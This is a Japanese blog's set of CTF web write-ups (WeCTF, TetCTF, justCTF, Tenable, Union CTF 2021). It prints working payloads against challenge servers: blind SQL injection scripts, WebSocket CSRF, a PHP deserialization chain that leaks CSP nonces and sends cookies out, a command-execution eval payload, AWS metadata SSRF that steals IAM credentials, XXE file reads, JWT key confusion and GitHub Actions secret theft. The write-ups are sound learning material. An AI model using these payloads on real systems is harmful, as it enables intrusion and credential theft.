st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

WeCTF 2021 writeup

6/20 - 6/21という日程で開催された。zer0ptsで参加して4位。ほぼWeb問オンリーという私好みのCTFだったし問題の質が高くて楽しかったけれども、PingとURL Binという難しめの問題が解けなかったのがつらい。

[Web 50] GitHub (23 solves)

GitHub Actionsで悪いことをするやつ。GitHubのユーザ名を入力すると、GitHub Actionsが導入されたプライベートリポジトリに招待される。リリース時に走るスクリプト (docker.yml) とプルリクエスト時に走るスクリプト (pr.yml) がある。

docker.yml

name: Publish Docker
on: [release]
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
    - uses: actions/checkout@master
    - name: Publish to Registry
      uses: elgohr/Publish-Docker-Github-Action@master
      with:
        name: wectfchall/poop
        username: ${{ secrets.DOCKER_USERNAME }}
        password: ${{ secrets.DOCKER_PASSWORD }}

pr.yml

name: Say Hi

on: [pull_request]

jobs:
  build:

    runs-on: ubuntu-latest

    steps:
    - uses: actions/checkout@v2
    - name: Say Hi
      run: |
        echo "hi!!"

pr.yml を書き換えるプルリクエストを送ると、その書き換えた後のスクリプトが実行されてしまう。ptr-yudaiさんが curlsecrets.DOCKER_USERNAMEsecrets.DOCKER_PASSWORD を抜き出し、このクレデンシャルでDocker Hubのレジストリにログインできることを確認していた。docker run --rm -it wectfchall/flag でフラグ。

[Web 143] Cache (65 solves)

adminしか閲覧できない /flag というエンドポイントがある。ただ、以下のように .css .js .html という拡張子のページであれば10秒間キャッシュされる上に、/flag/hoge.css というようなパスでも /flag と同じコンテンツが返ってくる。これを使って、adminに /flag/hoge.css をアクセスさせた後に急いで自分もアクセスすればフラグが得られる。

class SimpleMiddleware:
    def __init__(self, get_response):
        self.get_response = get_response

    def __call__(self, request: HttpRequest):
        path = urllib.parse.urlparse(request.path).path
        if path in CACHE and CACHE[path][1] > time.time():
            return CACHE[path][0]
        is_static = path.endswith(".css") or path.endswith(".js") or path.endswith(".html")
        response = self.get_response(request)
        if is_static:
            CACHE[path] = (response, time.time() + 10)
        return response

[Web 379] Coin Exchange (62 solves)

WebSocketでCSRF

<script>
let wait = t => new Promise(r => setTimeout(r, t));
let ws = new WebSocket('ws://coin.sg.ctf.so:4001/', "ethexchange-api");
ws.onopen = async () => {
  await wait(500);
  ws.send(JSON.stringify({
    type: 'buy',
    content: {
      amount: "9999"
    }
  }));
  await wait(500);
  ws.send(JSON.stringify({
    type: 'transfer',
    content: {
      amount: "4.5",
      to_token: "854a7fc3322dfdc20176eba89c432a8db1e0f3b0020b44bdaa8829bbddbde137"
    }
  }));
};
</script>

[Web 592] Phish (110 solves)

SQLiteのSQLi問。INSERT 中でSQLiができるが、そのクエリの結果は成功したか失敗したかの1ビットでしか得られない。Error-basedにフラグを抜き出す。

import requests

HOST = 'http://phish.ny.ctf.so/'

def query(payload):
  r = requests.post(HOST + 'add', data={
    'username': payload,
    'password': ''
  })
  return 'integer overflow' in r.text

i = 1
res = ''
while True:
  c = 0
  for j in range(7):
    r = query(f"'),('',abs(-9223372036854775807 - case when unicode(substr((select group_concat(password) from user where username = 'shou'), {i}, 1)) & {1 << j} then 1 else 0 end)) -- ")
    if r:
      c |= 1 << j
  res += chr(c)
  print(i, res)
  i += 1

[Web 925] CloudTable (23 solves)

MySQLのSQLi問。CREATE TABLE 中のカラム名でSQLiができる。MySQLでは CREATE TABLE … SELECT 構文が使えるので、これで information_schema.tables からテーブル名を抜き出したり、フラグの格納されたテーブルからレコードを抜き出したりする。

その後に作成される権限の弱いユーザでは FILE 権限がなくてローカルファイルが読めない/書けないし、LOAD DATA INFILE も使えないしで、最初のSQLiで抽出したデータを読むことぐらいしかできない。

reCAPTCHAの悪口を言いながら test` text) select flag from cloudtable.flag; # という名前のカラムを持つテーブルを作成すると、そのレコードとしてフラグが入っている。

[Web 994] CSP 2/3 (19 solves)

単純なXSSのあるWebアプリケーションだが、default-src 'none'; script-src 'nonce-(ランダムに生成された文字列)'; … というような感じの厳しいCSPがある。以下のような悪用してくれと言わんばかりのヤバいスクリプトがあるが、これを使うにはCSPの都合上 nonce を特定する必要がある。

function add_js(filename, nonce) {
  var head = document.head;
  var script = document.createElement('script');
  script.nonce = nonce;
  script.src = filename;
  head.appendChild(script);
}
window.onhashchange = () => {let query = window.location.hash.substr(1).split('@'); add_js(query[0], query[1])};

CSPを発行するコードを見ると、report_uri_string というプロパティが report-uri ディレクティブに挿入されていて怪しい。ここに自分の管理下にあるWebサーバのURLを挿入できれば、CSP違反のレポートから nonce抜き出せるはず。

(script-src ディレクティブを report-uri の後に挿入すれば unsafe-inline を許可させられるのではないかと最初考えたが、重複するディレクティブが出現した場合には先に出現したものが優先され、後に出現したものは無視されるために無理っぽい)

<?php


namespace ShouFramework;
require_once "Typed.module";

class CSP extends Typed
{
    public $report_uri_string;

    protected function construct()
    {
        $this->report_uri_string = '/report_csp';
    }

    public function generate_nonce(){
        $rand_val = sha1(uniqid("", true));
        return base64_encode("$rand_val");
    }

    public function add_csp($nonces){
        $nonce = "";
        foreach ($nonces as $_nonce) $nonce .= "'nonce-$_nonce' ";
        header("Content-Security-Policy: trusted-types 'none'; object-src 'none'; default-src 'none'; script-src $nonce; script-src-elem $nonce; script-src-attr $nonce; img-src 'self'; style-src $nonce;style-src-elem $nonce;style-src-attr $nonce; base-uri 'self'; report-uri $this->report_uri_string;");
    }

    protected function destruct(){}
}

index.php を読むと unserialize をそこら中で呼んでいてとてもInsecure Deserializationっぽい。特にこの UserData のコンストラクタは user というGETパラメータを unserialize していて、容易に適当なオブジェクトを作れそう。

class UserData extends \ShouFramework\Typed {
    public $token_string;

    protected function construct() {
        if (isset($_GET["user"])) {
            $user = unserialize($_GET["user"]);
            if (get_class($user) != "UserData") \ShouFramework\shutdown();
            $this->token_string = $user->token_string;
        }
        // unauthenticated request
        $this->token_string = uniqid("", true);
        return $this;
    }
    protected function destruct(){}
}

ということで、まず unserialize されると CatWithHashGet を含む UserData が作られる文字列を出力するスクリプトを書く。CatWithHashGet はデストラクタが呼ばれると個別の記事ページが表示される。CatWithHashGet の持つ csp_object プロパティはCSPヘッダを発行するオブジェクトであり、これのプロパティをいじることで report-urihttp://example.com/log.php に書き換えられるようにしている。

index.php

<?php
require 'csp.php';

class CatWithHashGet {
  public $user_object;
  function __construct() {
    $this->template_object = new \ShouFramework\Template;
    $this->csp_object = new \ShouFramework\CSP;
  }
}

class UserData {
  function __construct() {
    $this->a = new CatWithHashGet;
    $this->a->user_object = &$this;
  }
}

$obj = new UserData;
echo str_replace(" ", "%20", serialize($obj)) . "\n";

csp.php

<?php
namespace ShouFramework;

class CSP {
  public function __construct() {
    $this->report_uri_string = "http://example.com/log.php";
  }
}

class Template {

}
$ php gen_serialized_object.php
O:8:"UserData":1:{s:1:"a";O:14:"CatWithHashGet":3:{s:11:"user_object";r:1;s:15:"template_object";O:22:"ShouFramework\Template":0:{}s:10:"csp_object";O:17:"ShouFramework\CSP":1:{s:17:"report_uri_string";s:26:"http://example.com/log.php";}}}

出力された文字列にセミコロンを加えて (加えないと Program integrity violated と表示されるのはなぜですか? Typed.module がなんかチェックしていたのは知っていますが、なぜセミコロンを加えるとバイパスできるんですか?) http://csp2.sf.ctf.so/?method=post&hash=(記事のID)&user=O:8:%22UserData%22:1:{s:1:%22a%22;O:14:%22CatWithHashGet%22:3:{s:11:%22user_object%22;r:1;s:15:%22template_object%22;O:22:%22ShouFramework\Template%22:0:{}s:10:%22csp_object%22;O:17:%22ShouFramework\CSP%22:1:{s:17:%22report_uri_string%22;s:26:%22http://example.com/log.php%22;};}} にアクセスすると、無事 report-uri が書き換わったページが表示された。

f:id:st98:20210621032338p:plain

XSSの起こる <script>test</script> というような内容の記事を投稿し、先程の report-uri が書き換わるペイロードをその記事のURLに付け加えてアクセスすると、以下のようにCSP違反を報告するレポートが http://example.com/log.php に送られる。これで log.php 側は nonce を知ることができる。

f:id:st98:20210621032636p:plain

これで最初のヤバいスクリプトを悪用する準備が整った。nonce が届くと nonce.txt に書き込む log.php と、nonce.txt が作成されれば #data:,(JavaScriptコード)@(特定したnonce)iframe のURLに付け加える index.php を用意する。index.php を置いているURLを報告するとフラグが得られた。

index.php

<?php
$hash = 'd113a7153458978273bbf83141b5737f7cf38342'; // <script>test</script>
$url = "http://csp2.sf.ctf.so/?method=post&hash=$hash&user=O:8:%22UserData%22:1:{s:1:%22a%22;O:14:%22CatWithHashGet%22:3:{s:11:%22user_object%22;r:1;s:15:%22template_object%22;O:22:%22ShouFramework\Template%22:0:{}s:10:%22csp_object%22;O:17:%22ShouFramework\CSP%22:1:{s:17:%22report_uri_string%22;s:26:%22http://example.com/log.php%22;};}}";
?>
<iframe src="<?= $url; ?>" id="iframe"></iframe>
<script>
let iframe = document.getElementById('iframe');
let id = setInterval(async () => {
  try {
    const a = await fetch('nonce.txt');
    if (!a.ok) {
      return;
    }

    const nonce = await a.text();
    console.log(nonce);
    clearInterval(id);

    iframe.src += '#data:,top.postMessage(document.cookie,"*")@' + nonce;
  } catch (e) {

  }
}, 200);

window.onmessage = e => {
  (new Image).src = 'log2.php?' + e.data;
};
</script>

log.php

<?php
$body = file_get_contents('php://input');
preg_match("/'nonce-(.+?)'/", $body, $matches);
$nonce = $matches[1];
file_put_contents('nonce.txt', $nonce);

TetCTF 2021 writeup

1/1 - 1/3という日程で開催された。zer0ptsで参加して6位。AMF問は解けなかったけど作問者の解説が勉強になった。あとTLS-poisonでSSRFする問題が出たんだったかな。詳しくはZeddyさんの記事を参照のこと。

[Web] HPNY

/^[a-z\(\)\_\.]+$/i という条件なら eval できるというPHP問。/?roll=passthru(end(filter_input_array(INPUT_GET)))&0=cat%20f* でフラグが得られる。

[Web] mysqlimit

MySQLのSQLi問。Orange先生のスライドを参考にまず /?id=(select%201%20from%20(select%20*%20from%20flag_here_hihi%20join%20flag_here_hihi%20as%20x%20using(id))%20as%20y)t_fl4g_name_su というカラム名の存在が確認できる。

あとはError-based Blind SQLiでやるだけ。

import requests
import urllib.parse
URL = 'http://45.77.255.164/?id='
TEMPLATE = '(select 1e308*(2*(ascii(right(left(t_fl4g_v3lue_su,{}),1))&{})) from flag_here_hihi limit 1)'

i = 1
res = ''
while True:
  c = 0
  for j in range(7):
    url = URL + urllib.parse.quote(TEMPLATE.format(i, 1 << j))
    req = requests.get(url)
    if 'DOUBLE' in req.text:
      c |= 1 << j
  res += chr(c)
  print(i, res)
  i += 1

[Web] Super Calc

/^[0-9\+\-\*\/\(\)\'\.\~\^\|\&]+$/i という条件なら eval できるというPHP問。/?calc=(%2740440040%27%5E%278-998%2689%27%5E%27%7C%7C~~%7C~~%7C%27)(%2744%27%5E%27%269%27%5E%27~~%27)fl4g1sH3re.php というファイルの存在が確認できる。/?calc=(%2740440040%27%5E%278-998%2689%27%5E%27%7C%7C~~%7C~~%7C%27)(%2700000*%27%5E%27--86**%27%5E%27~%7C%7C%26%7C*%27) でフラグが得られる。

justCTF [*] 2020 writeup

1/30 - 2/1という日程で開催された。zer0ptsで参加して5位。Web問がとても面白かった

[Web, Misc] Forgotten name

実質OSINT、https://crt.sh/?q=jctf.pro6a7573744354467b633372545f6c34616b735f6f3070737d.web.jctf.pro というサブドメインが見つかる。

[Web] Computeration Fixed

s1r1usさんがReDoSでフラグを少しずつ得られることを見つけていたので、雑に以下のようなスクリプトを書いた。これにアクセスさせると /log.php?23,a /log.php?19,b /log.php?26,c … という感じでアクセスログが流れていくが、_ に到達するまでにどこかで止まるはず。/log.php?17,s で止まったなら s が正解。

<body>
<script>
const f = async cand => {
  return new Promise(r => {
    const i = document.createElement('iframe');
    const t = new Date;
    i.src = 'https://computeration-fixed.web.jctf.pro/';
    i.onload = () => {
      //i.src = 'https://computeration-fixed.web.jctf.pro/#justCTF[{]' + cand + '[a-z_{}]+(.{0,100}){500}XXX';
      i.src = 'https://computeration-fixed.web.jctf.pro/#ju' + cand + '[a-z_{}]+(.{0,100}){500}XXX';
      r(new Date - t);
    };
    document.body.appendChild(i);
  });
};

(async () => {
  const known = '';
  for (const c of 'abcdefghijklmnopqrstuvwxyz_@') {
    const t = await f(known + c);
    (new Image).src = 'log.php?' + [t, known + c];
  }
})();
</script>
</body>

Tenable CTF 2021 writeup

2/18 - 2/22という日程で開催された。zer0ptsで参加して4位。

[Web] Hacking Toolz

AWSのSSRF。

<script>
(async () => {
(new Image).src = 'a.php?start';

const token = await (await fetch(
  'http://localhost/redir.php?url=http://169.254.169.254/latest/api/token', {
    headers: {
      'X-aws-ec2-metadata-token-ttl-seconds': '21600'
    },
    mode: 'cors',
    method: 'PUT'
  }
)).text();
(new Image).src = 'a.php?' + token;

const res = await (await fetch(
  'http://localhost/redir.php?url=http://169.254.169.254/latest/meta-data/iam/security-credentials', {
    headers: {
      'X-aws-ec2-metadata-token': token
    },
    mode: 'cors'
  }
)).text();
(new Image).src = 'a.php?' + encodeURIComponent(res); // => S3Role
})()
</script>

http://169.254.169.254/latest/meta-data/iam/security-credentials/S3Role が返す AccessKeyIdSecretAccessKey などを使ってS3バケットを覗くとフラグが得られる。

$ export AWS_ACCESS_KEY_ID='...'
$ export AWS_SECRET_ACCESS_KEY='...'
$ export AWS_SESSION_TOKEN='...'
$ aws s3 ls
2021-01-12 16:37:04 secretdocs
$ aws s3 ls s3://secretdocs
2021-01-12 18:22:24        241 leviathan.txt
$ aws s3 cp s3://secretdocs/leviathan.txt .
download: s3://secretdocs/leviathan.txt to ./leviathan.txt
$ cat leviathan.txt
no sound, once made, is ever truly lost
in electric clouds, all are safely trapped
and with a touch, if we find them
we can recapture those echoes of sad, forgotten wars
long summers, and sweet autumns

flag{cl0udy_with_a_chance_0f_flag5}

[Web] Send A Letter

XXE。

http://challenges.ctfd.io:30471/send_letter.php?letter=%3C?xml%20version=%221.0%22%20encoding=%22ISO-8859-1%22?%3E%3C!DOCTYPE%20hoge%20[%20%3C!ENTITY%20xxe%20SYSTEM%20%22/tmp/messages_outbound.txt%22%3E%20]%3E%3Cletter%3E%3Cfrom%3Ea%3C/from%3E%3Creturn_addr%3Eb%3C/return_addr%3E%3Cname%3E%26xxe;%3C/name%3E%3Caddr%3Ed%3C/addr%3E%3Cmessage%3Ee%3C/message%3E%3C/letter%3E

[Web] Thumbnail

ffmpegを使って安易に動画のサムネイルを作成しようとすると、細工した動画ファイルが来たときにローカルのファイルを読み出せてしまうというやつ。neex/ffmpeg-avi-m3u-xbinを使って python ffmpeg-avi-m3u-xbin/gen_xbin_avi.py file:///var/www/html/uploads/flag.txt exp.avi で生成された動画をアップロードするとフラグが得られる。

Union CTF 2021 writeup

2/20 - 2/22という日程で開催された。zer0ptsで参加して7位。

[Web] Cr0wnAir

jpv というライブラリによってJSONの構造がチェックされているが、package-lock.json を見ると2.0.1と、CVE-2019-19507という脆弱性のある古いバージョンを使っていることがわかる。

const pattern = {
  firstName: /^\w{1,30}$/,
  lastName: /^\w{1,30}$/,
  passport: /^[0-9]{9}$/,
  ffp: /^(|CA[0-9]{8})$/,
  extras: [
    {sssr: /^(BULK|UMNR|VGML)$/},
  ],
};
  if (jpv.validate(data, pattern, { debug: true, mode: "strict" })) {

以下のような感じでバイパスできる。

$ node
...
> jpv.validate(JSON.parse('{"firstName":"a","lastName":"b","passport":"123456789","ffp":"CA00000000","extras":[{"sssr":"FQTU"}]}'), pattern, {debug: true, mode: "strict"})
The value of ["FQTU"] does not match with [{}]
false
> jpv.validate(JSON.parse('{"firstName":"a","lastName":"b","passport":"123456789","ffp":"CA00000000","extras":{"constructor":{"name":"Array"},"a":{"sssr":"FQTU"}}}'), pattern, {debug: true, mode: "strict"})
true
$ curl 'http://34.105.202.19:3000/checkin' -H 'Content-Type: application/json' --data-raw '{"firstName":"a","lastName":"b","passport":"123456789","ffp":"CA00000000","extras":{"constructor":{"name":"Array"},"a":{"sssr":"FQTU"}}}'
{"msg":"You have successfully checked in. Thank you for being a Cr0wnAir frequent flyer. Your loyalty has been rewarded and you have been marked for an upgrade, please visit the upgrades portal.","token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJicm9uemUiLCJmZnAiOiJDQTAwMDAwMDAwIn0.NTEv7Fylr6mPFrC2Qf-YNAbq9uFS173dFvYIJuH4N_cmA8OwfDbS-_xu4h0pc3Nzob-BaqN6L06O2dtRYAu33l6KLKngp_benw8O8dQE-2ItcsXW9N5pfxmuDhid3eZwy4XStJy7kqiXHIIRaafLJJNhlQfpft3VGqqc-h7Xtkjet_HbtRBZIHN3ObqtVbAi0NqQRTaL_OM4m0l_uhF8NqFSjW9s4zz1mGXz5pjgjAu42NUk6bKoBvbNVFJ2Or_79cGYAmpFUumn3X5E69-oVN7SFxPFnjzEoOa8UHaJ3txCAEYrXvhld1YWpL7DSOIY3Yu3q8hvQ5de3ZgnOCC8Qg"}

JWTの改ざんについては、aventadorさんにAbusing JWT public keys without the public key – Silent Signal Techblogという記事を教えてもらって署名に使われているRS256の公開鍵を抽出し、それをHS256の秘密鍵として署名することでできた。

$ curl -X POST 'http://34.105.202.19:3000/upgrades/flag' -H "Authorization: a eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwic3RhdHVzIjoiZ29sZCIsImlhdCI6MTUxNjIzOTAyMn0.i4zsMzI1Hxc23vkL2PQRh-zECB
49iWPqDoRUowGEneY"
{"msg":"union{I_<3_JS0N_4nD_th1ngs_wr4pp3d_in_JS0N}"}